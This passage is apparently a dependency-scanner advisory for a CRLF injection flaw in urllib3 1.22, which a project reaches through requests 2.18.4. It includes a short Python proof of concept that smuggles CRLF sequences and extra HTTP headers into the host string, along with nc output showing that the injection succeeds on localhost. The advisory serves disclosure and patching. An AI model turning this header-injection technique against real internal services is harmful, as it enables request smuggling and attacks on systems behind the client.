CRLF injection

CRLF injection
Vulnerable module: urllib3
Introduced through: requests@2.18.4
Detailed paths
Introduced through: dvf/blockchain@dvf/blockchain#1369cac2094d36e694da1209d7d4f923264f7f50 › requests@2.18.4 › urllib3@1.22
Overview
urllib3 is an HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to CRLF injection. Attacker who has the control of the requesting address parameter, could manipulate an HTTP header and attack an internal service.

PoC
by ragdoll and Alvin Chang

import urllib3

pool_manager = urllib3.PoolManager()

host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
info = pool_manager.request('GET', url).info()
print(info)
except Exception:
pass

# nc -l localhost 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
Accept-Encoding: identity
The nc server will display the HTTP request with a manipulated header content: X-injected:header, indicating a successful injection of the HTTP header.

CRLF injection vulnera